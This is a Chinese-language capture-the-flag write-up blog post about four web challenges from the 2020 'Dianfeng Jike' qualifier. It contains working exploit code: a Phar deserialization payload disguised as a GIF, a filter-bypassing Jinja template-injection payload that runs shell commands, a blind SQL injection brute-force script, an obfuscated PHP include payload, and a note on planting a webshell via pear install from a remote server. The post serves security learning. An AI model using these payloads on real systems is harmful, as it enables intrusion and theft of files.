2020“巅峰极客”初赛Writeup 2 min read
本文最后更新于 645 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com

因为一直在TCTF Final摸鱼,这个比赛就随便看了看,最后一个web在赛后6分钟做出的,于是无缘线下了,这个线上赛就权当娱乐了


babyphp2

www.zip得到源码。不用注入,因为读文件和上传文件都不需要登录,那个只是个障眼法。

有类,有上传,有文件读取,很明显的Phar反序列化

<?php

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function __construct()
    {
        $this->nickname = new Reader();
        $this->backup = "/flag";
    }
}
class dbCtrl
{
    public $token;
    public function __construct()
    {
        $this->token = new User;
    }
}

Class Reader{
    public $filename;
    public $result;
}

$y1ng = new dbCtrl();

$phar = new Phar("web1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

@rename("web1.phar", "y1ng.gif");

上传得到路径,因为读文件时对schema有过滤,利用压缩过滤器触发phar即可:

compress.zlib://phar:///var/www/html/upload/16e45eeda7cc58d39621ec8886c53293.gif


babyflask

一血,被队友1分钟solve,老生常谈的bypass套路

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /flag')|attr('read')()}}

babyback

有必要吐槽一下ichunqiu这个平台,docker是队友开的,这题我拿的一血,但是只能开docker的人交flag就很傻逼,正好开docker的人出门了,导致一直交不上flag,耽误了好几分钟,最后变成了二血

题很简单,考点我都出过,并且是开源的

  • 无引号SQL注入参考:https://www.gem-love.com/ctf/2283.html#LoginOnlyFor36D
  • 无括号分号RCE参考:https://www.gem-love.com/ctf/2283.html#%E7%BB%99%E4%BD%A0shell
  • 题目开源:https://github.com/y1nglamore/Y1ngCTF
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req 

url = "http://[docker].cloudeci1.ichunqiu.com/index.php"

data = {
	"username" : '''admin\\''',
	"password" : ""
}
res = ""
for position in range(1,30):
	for i in range(32,127):
		payload = f"or/**/ascii(substr(password,{position},1))>{i}#"
		data["password"] = payload
		r = req.post(url=url, data=data)
		if r"<div class='logo'>密码错误" not in r.text:
			res += chr(i)
			print(res)
			break
		else:
			continue
# uAreRigHt

然后包含一个/flag的取反拿flag

command=require%40%7e%d0%99%93%9e%98?>

MeowWorld

这题有点可惜,比赛结束前20分钟才来看,导致在赛后6分钟时拿到flag,如果早来点儿肯定进线下了

有一个参考文章:https://khack40.info/camp-ctf-2015-trolol-web-write-up/

f参数文件包含,只是后面有.php的后缀拼接

<?php
$f = $_GET['f'] ?? "home";
include("{$f}.php");
?>

利用pear install装马,必须是php后缀:

之后包含即可RCE。readflag还要写个小脚本

这东西之前比赛也都出过

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://blog.gem-love.com/ctf/2634.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

评论

  1. anti-gemite
    2年前
    2020-9-27 20:23:34

    最后的pear install上传的马需要从自家的网站传过去吗?还是怎么上传上去呢?

    • 2年前
      2020-9-30 22:37:59

      pear install或者pear download后面加上自己的不能解析php的vps链接

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇